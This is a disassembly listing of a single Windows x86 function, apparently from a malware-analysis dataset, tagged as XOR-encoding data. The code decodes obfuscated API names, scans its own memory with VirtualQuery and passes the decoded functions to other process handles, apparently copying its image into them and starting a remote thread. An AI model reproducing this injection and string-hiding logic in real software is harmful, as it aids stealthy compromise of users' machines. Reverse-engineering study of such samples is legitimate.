Function at 0x324364ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push dword [0x32439a10]
push dword [0x3243992c]
push dword fs:[0]
pop eax
push eax
mov dword fs:[0], esp
sub esp, 0x7c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x1c], bl
mov dword [ebp - 4], ebx
cmp byte [0x3243a678], bl
je 0x324367c3
mov esi, dword [ebp + 8]
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x28], ebx
push 0x1c
push ebx
lea eax, [ebp - 0x50]
push eax
call fcn.324383b2
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
mov ecx, dword [ebp - 0x50]
cmp dword [ebp - 0x64], ecx
je 0x32436563
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 0x7000
jb 0x324367c3
mov dword [ebp - 0x24], ebx
push dword [ebp + 0x10]
pop eax
mov dword [ebp - 0x60], eax
cmp eax, ebx
jne 0x32436582
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 5
jae 0x32436582
lea eax, [ebp - 0x5c]
push eax
call fcn.324343a0
cmp dword [ebp - 0x5c], ebx
jne 0x32436582
cmp dword [ebp - 0x58], ebx
jne 0x32436582
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc dword [ebp - 0x34]
jmp 0x3243653a
cmp dword [ebp - 0x40], 0x10000
je 0x3243651c
cmp dword [ebp - 0x4c], esi
jne 0x3243651c
push dword [ebp - 0x44]
pop eax
add ecx, eax
mov dword [ebp - 0x64], ecx
add dword [ebp - 0x28], eax
jmp 0x324364f3
push 0x10
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
push esp
pop edx
mov dword [ebp - 0x70], edx
mov esi, dword [0x32439b48]
mov edi, dword [ebp - 0x70]
push 0xf
pop ecx
lodsb al, byte [esi]
sub al, 0x41
add al, 0xd4
stosb byte es:[edi], al
dec ecx
jne 0x3243659e
mov dword [ebp - 0x74], edx
push ebx
push edx
push dword [0x3243a9b8]
call fcn.32435458
mov dword [ebp - 0x54], eax
push 0x14
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
mov edx, esp
mov dword [ebp - 0x78], edx
mov esi, dword [0x32439d60]
mov edi, dword [ebp - 0x78]
push 0x11
pop ecx
lodsb al, byte [esi]
add al, 0x87
xor al, 0xec
stosb byte es:[edi], al
dec ecx
jne 0x324365d6
mov dword [ebp - 0x7c], edx
push ebx
push edx
push dword [0x3243a9b8]
call fcn.32435458
mov dword [ebp - 0x20], eax
push 0x14
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
mov edx, esp
mov dword [ebp - 0x80], edx
mov esi, dword [0x324394f8]
push dword [ebp - 0x80]
pop edi
push 0x13
pop ecx
lodsb al, byte [esi]
xor al, 0x5c
add al, 0x48
stosb byte es:[edi], al
dec ecx
jne 0x3243660f
mov dword [ebp - 0x84], edx
push ebx
push edx
push dword [0x3243a9b8]
call fcn.32435458
mov dword [ebp - 0x2c], eax
push 0x14
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
push esp
pop edx
mov dword [ebp - 0x88], edx
push dword [0x3243997c]
pop esi
mov edi, dword [ebp - 0x88]
push 0x13
pop ecx
lodsb al, byte [esi]
sub al, 0xcf
add al, 0x89
stosb byte es:[edi], al
dec ecx
jne 0x32436651
mov dword [ebp - 0x8c], edx
push ebx
push edx
push dword [0x3243a9b8]
call fcn.32435458
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x54], ebx
je 0x324366bd
cmp dword [ebp - 0x20], ebx
je 0x324366bd
cmp dword [ebp - 0x2c], ebx
je 0x324366bd
cmp eax, ebx
je 0x324366bd
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 3
jae 0x324366bd
mov eax, dword [ebp - 0x34]
lea esi, [ebp + eax*4 - 0x60]
mov eax, dword [esi]
cmp eax, ebx
je 0x3243676c
push pe_nt_image_headers32
push 0x2000
push dword [ebp - 0x28]
push dword [ebp + 8]
push eax
call dword [ebp - 0x54]
cmp dword [ebp + 8], eax
jne 0x3243676c
push dword [esi]
pop eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x3243679c
push dword [ebp + 8]
pop esi
mov dword [ebp - 0x64], esi
mov edi, 0x1000
cmp dword [ebp - 0x28], ebx
je 0x32436779
push 0x1c
push ebx
lea eax, [ebp - 0x50]
push eax
call fcn.324383b2
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x50]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
cmp dword [ebp - 0x40], 0x10000
je 0x32436774
push dword [ebp + 8]
pop eax
cmp dword [ebp - 0x4c], eax
jne 0x32436774
cmp dword [ebp - 0x40], edi
jne 0x3243674a
push pe_nt_image_headers32
push edi
push dword [ebp - 0x44]
push esi
push dword [ebp - 0x24]
call dword [ebp - 0x54]
cmp esi, eax
jne 0x32436774
cmp dword [ebp - 0x3c], 1
je 0x3243674a
cmp dword [ebp - 0x3c], 0x100
je 0x3243674a
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x44]
push esi
push esi
push dword [ebp - 0x24]
call dword [ebp - 0x2c]
test eax, eax
je 0x32436774
push dword [ebp - 0x44]
pop eax
cmp eax, dword [ebp - 0x68]
jne 0x32436774
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x3c]
push dword [ebp - 0x44]
push esi
push dword [ebp - 0x24]
call dword [ebp - 0x20]
push dword [ebp - 0x44]
pop eax
add esi, eax
mov dword [ebp - 0x64], esi
sub dword [ebp - 0x28], eax
jmp 0x324366d2
inc dword [ebp - 0x34]
jmp 0x32436686
cmp dword [ebp - 0x28], ebx
jne 0x3243679c
lea eax, [ebp - 0x68]
push eax
push ebx
push ebx
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp - 0x24]
call dword [ebp - 0x30]
mov dword [ebp - 0x6c], eax
cmp eax, ebx
je 0x3243679c
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 3
jae 0x324367c3
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, ebx
je 0x324367b7
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc dword [ebp - 0x34]
jmp 0x3243679f
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
lea esp, [ebp - 0x98]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc